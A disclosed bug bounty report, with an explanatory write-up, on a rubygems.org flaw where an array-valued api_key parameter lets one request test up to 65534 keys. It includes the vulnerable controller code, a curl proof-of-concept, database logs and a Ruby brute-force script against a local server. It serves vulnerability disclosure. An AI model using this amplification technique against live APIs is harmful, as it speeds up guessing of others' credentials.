65534 times efficient, Brute-force attack for api_key
The api_key parameter was not type-checked, so an attacker could supply an array of keys instead of a single string. This made the lookup query match any of the supplied keys at once, allowing many guesses per request, though the author judged the practical impact minimal.
- Triaged in 5 hours
- Fixed in 9 days
- Disclosed after 14 days
I have found that type checking for api_key is insufficient in rubygems.org's source code.
https://github.com/rubygems/rubygems.org/blob/master/app/controllers/application_controller.rb#L63
def authenticate_with_api_key
api_key = request.headers["Authorization"] || params[:api_key]
@api_user = User.find_by_api_key(api_key)
end
Using an array in params[:api_key] makes searching for api_key more efficient.
poc
- start server in local
- Access url with multiple api_key
$ curl --globoff 'http://localhost:3000/api/v1/gems?api_key[]=key1&api_key[]=key2'
> Access Denied. Please sign up for an account at https://rubygems.org
rails log
Started GET "/api/v1/gems?api_key[]=key1&api_key[]=key2" for ::1 at 2018-11-24 23:03:30 +0900
Processing by Api::V1::RubygemsController#index as */*
Parameters: {"api_key"=>["key1", "key2"]}
User Load (0.5ms) SELECT "users".* FROM "users" WHERE "users"."api_key" IN ($1, $2) LIMIT $3 [["api_key", "key1"], ["api_key", "key2"], ["LIMIT", 1]]
↳ app/controllers/application_controller.rb:65
Rendering text template
Rendered text template (0.0ms)
Filter chain halted as :verify_authenticated_user rendered or redirected
Completed 401 Unauthorized in 2ms (Views: 0.3ms | ActiveRecord: 0.5ms | Elasticsearch: 0.0ms)
Impact
As a result of trying how much it can be sent using POST, 65534 api_key's could be sent. A postgres error will occur if you send more values.
Here is the script used for confirmation.
require 'net/http'
require 'securerandom'
require 'json'
keys = 65534.times.map{SecureRandom.hex(32)}
# keys = 65535.times.map{SecureRandom.hex(32)} # error
uri = URI.parse("http://localhost:3000/api/v1/web_hooks/fire.json?url=http://example.com/")
http = Net::HTTP.new(uri.host, uri.port)
req = Net::HTTP::Post.new(uri.path)
req["Content-Type"] = "application/json"
req.body = {api_key: keys}.to_json
res = http.request(req)
Attacks against api_key are 65534 times more efficient, but since the string generated by SecureRandom.hex (32) has sufficient length, the impact seems to be minimal.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The code took the api_key value straight from request parameters without checking it was a single string, so an array was passed into the database lookup and turned into a multi-value match.
Impact
An attacker could test up to 65534 keys in a single request, making brute force far more efficient, but the author notes the impact seems minimal because generated keys are long enough.
What the attacker needed
Access to the API endpoint; no valid key needed
How it was found
- Start the application server locally.
- Send a request to an API endpoint with several api_key values supplied as an array.
- Observe the database query matching any of the supplied keys and the request being rejected as unauthenticated.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An API key is a secret string a program sends to prove who it is. The site expected one key but accepted a list, and its database lookup then checked the whole list in one go, so someone could try thousands of guesses per request instead of one.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.